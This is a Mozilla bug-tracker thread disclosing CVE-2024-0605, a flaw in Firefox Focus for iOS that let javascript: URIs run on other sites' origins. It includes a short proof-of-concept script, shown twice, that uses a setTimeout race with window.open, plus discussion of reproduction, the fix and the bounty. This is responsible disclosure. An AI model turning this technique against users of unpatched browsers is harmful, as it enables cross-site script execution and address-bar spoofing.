1855575 - (CVE-2024-0605) iOS Firefox Focus let javascript: URI to run on Top Origin sites

Status: VERIFIED FIXED

(Focus :: Security: iOS, defect)

Description

Attachment: Focus_jsuritop.mp4

We are able to run javascript: URI on Top Origin sites using race condition attack with setTimeout().

I used https://facebook.com as an example demo for this test case.

PoC demo: https://pwning.click/jsuritop.php

<script>
function a(){
	window.open('https://facebook.com', 'x');
	setTimeout(function(){
		window.open('javascript:document.write(document.domain)');
	}, 555);
}
</script> 
<center><img src="https://pwning.click/Genius_Cat.jpg" onclick="a()"></center>

Comment 1

[James Lee]

You can reproduce it continuously after second try (this is different to 1855030)

Comment 2

[Daniel Veditz [:dveditz]]

You've framed your specific examples differently, but they both come down to "Focus only has one window, so window.open('javascript') does the wrong thing"

Comment 3

[Daniel Veditz [:dveditz]]

Wasn't able to reproduce this using Focus on an iPad. Shouldn't be different from running the app on an iPhone, but maybe it is?

I suspect it needs a longer timeout

Comment 4

[James Lee]

Did you reload and try to tap on Genius Cat one more time? this works after second try. If you already did that please try to change setTimeout() to 777 and so on, 500 ~ 1111 range.

Comment 5

[Frederik Braun [:freddy]]

I also can't reproduce. Sorry, but we need a better testcase.
Happy to reopen on new information, of course.

Comment 6

[James Lee]

Were you guys able to reproduce https://bugzilla.mozilla.org/show_bug.cgi?id=1855030 ? I believe that worked for both of you.

And this is the reason why I believe this issue is different to 1855030 by the way-- you need to tap on the URL bar to reproduce it unlike that issue.

Please check the demo video I uploaded, when you test if the URL shows nothing but you are on https://facebook.com then you've successfully reproduced (on second try) and only thing you should do after that is to tap and run URL.

I believe this part makes the difference between these two.

Comment 7

[James Lee]

If "empty URL" with https://facebook.com part also can't be reproduced to verify this, then please let me know. Testing with same PoC on second try should work.

Comment 8

[Frederik Braun [:freddy]]

I looked at the video. It seems that you need to tap into the address bar to confirm / perform the UXSS, is that correct?
From what I see in the video

• Go to evil page
• click on button to trigger popup opening (malicious page could skip this)
• Focus opens Facebook and the address bar now contains a JS URL
• Confirming the JS URL executes the JS payloads on Facebook

That's annoying but hardly a UXSS given the steps involved.

Also, I can not confirm what I see in the video when trying locally. Can you make sure this still reproduces and if not, let us know which version you used for testing?

Comment 9

[James Lee]

That's correct, it should work on second time you tap on the image (try once and come back to the page and tap it again to repro)

I believe this is separate to 1855030 and sec-moderate bug for that reason.

In the mean time, please let me know if you were able to reproduce https://bugzilla.mozilla.org/show_bug.cgi?id=1855030

Comment 10

[James Lee]

Attachment: 1855575.html

Comment 11

[James Lee]

I don't know how it works locally but I can confirm it works with website so I attached a test file.

Comment 12

[James Lee]

Attachment: 1855575_2.html

Comment 13

[James Lee]

I believe this case should not have timing issue to repro

Comment 14

[James Lee]

Attachment: 1855575_2.html

Image link was not fully added

Comment 15

[James Lee]

Comment on attachment 9359428 [details]
1855575_2.html

><script>
>function a(){
>	window.open('https://google.com/csi', 'x');
>	setTimeout(function(){
>		window.open('javascript:document.write(document.domain)');
>	}, 111);
>}
></script> 
><center><img src="https://pwning.click/Genius_Cat.jpg" onclick="a()"></center>

Comment 16

[James Lee]

I never mentioned this is UXSS anywhere in this report; but https://bugzilla.mozilla.org/show_bug.cgi?id=1855030 is.

Comment 17

[James Lee]

1855575_2.html should repro this.

Comment 18

[:Gijs (he/him)]

Does this need reopening per the last few comments? (I'd ping Freddy but AIUI he's on vacation at the moment)

Comment 19

[Andrew McCreight [:mccr8]]

I don't have an iOS device to test this, but let's err on the side of reopening.

Comment 20

[Nishant Bhasin]

I am on iOS 17 with Focus v119 and nothing loads related to Facebook, tried the pwning.click link by tapping the cat image but no luck. Are there any other steps to reproduce or in a different version?

Comment 21

[James Lee]

That means this has been successfully reproduced, I changed from https://facebook.com to https://google.com/csi as you can check from #c15 so document.domain is https://google.com when you run loaded javascript URI on the address bar.

We need someone from Mozilla Security Team to confirm urgent critical ones like
bug 1855030
bug 1855117
bug 1860075
bug 1863831
bug 1863832

Comment 22

[Nishant Bhasin]

Is the main issue then is that you are able to run js from the urlbar and that should be prevented?

Can any type of js run from the urlbar?

Comment 23

[James Lee]

Yes, that's correct and other issues I pasted above are UXSS without running javascript URI from address bar like this issue so they're more urgent for confirmation and fix.

Comment 24

[James Lee]

From the url bar on any sites and that's the problem. In this case we're running javascript URI on https://google.com origin.

Comment 25

[Nishant Bhasin]

James, I added a comment in the other bug to understand the severity and proper steps to reproduce

Comment 26

[James Lee]

I updated the PoC file and step to reproduce, thanks!

Comment 27

[lmarceau]

Attachment: GitHub Pull Request

Comment 28

[Andrei Bodea[:andrei]]

Hello, can someone help me with some steps on what needs to be verified here?
I wanna verify the fix and I wanna see how it was before and how it's now to make sure I verify it correctly.

Comment 29

[Nishant Bhasin]

I will ping you with steps [:andrei]

Comment 30

[Andrei Bodea[:andrei]]

Verified as fixed on v9000 (17517) with iPhone 15 Pro (17.1.2).
Please note that there was no JS on the URL.
After tapping on the genius cat there was a redirection to the google.com without issues.

Comment 31

[James Lee]

Attachment: 1855575_test.html

Comment 32

[James Lee]

Attachment: RPReplay_Final1704970853.mp4

Comment 33

[Tom Ritter [:tjr]]

Looking at this and Bug 1855030 - it seems like these patches are symbiotic - you need both patches to fix this issue; and this issue can manifest in different ways, but one fix resolves both of them. If this is correct, we should only assign one CVE.

Comment 34

[Daniel Veditz [:dveditz]]

Congratulations James, this bug qualifies for our higher UXSS bounty award

Comment 35

[James Lee]

Thanks for letting me know Dan, but I have to clarify that this is not Full UXSS but it's javascript URI running based UXSS with address bar spoof issue as we can check from https://bugzilla.mozilla.org/attachment.cgi?id=9372743, which is different to https://bugzilla.mozilla.org/show_bug.cgi?id=1855030 .

So it is correct to assign separate CVE and this is probably low-end sec-high at the best due to convincing link with spoof leading to UXSS.

Comment 36

[James Lee]

For the reference, https://bugzilla.mozilla.org/show_bug.cgi?id=1863838 need to be checked too, before this gets addressed.

Comment 37

[lmarceau]

Attachment: advisory.txt

Comment 38

[lmarceau]

[Tracking Requested - why for this release]:

Comment 39

[James Lee]

There are lot's of reports that the only required step to reproduce is tapping on cat image, why are they never being checked? Is there anything I can help on them?

Comment 40

[James Lee]

That bug 1863838 is also one of them.

Comment 41

[James Lee]

Hi, could you let me know when you can check it? thanks!

Comment 42

[lmarceau]

Could you comment on the related bug instead of this one? It would be ideal not to mix tickets. As for the "when" this will be worked on, I don't have an answer. We have triaging process undergoing. Thank you!

Comment 43

[James Lee]

This is different bug class but that can be impacted by the fix, which is why I'm mentioning here (same for the 1855030 fix btw) and there are several reports that should be checked before 122 release as either it won't work anymore or I might have to provide other test cases, which is not ideal neither since they're different bug class to bugs that have been fixed and release on stable soon.

Comment 44

[lmarceau]

Version 122 was released today. What do you mean by bug class ?

Comment 45

[James Lee]

I see, I thought that was going to happen tomorrow or so but it's already done. That report was sent nearly 3 months ago and it's high severity since it's complete address bar spoof. However, without the report being reviewed, we can't talk about it anymore especially if 122 is already released, that bug is different bug class (address bar spoof) to UXSS but that might've impacted by the fix, which means we needed someone to test and verify that before 122 release. I'll let you know in that report about that.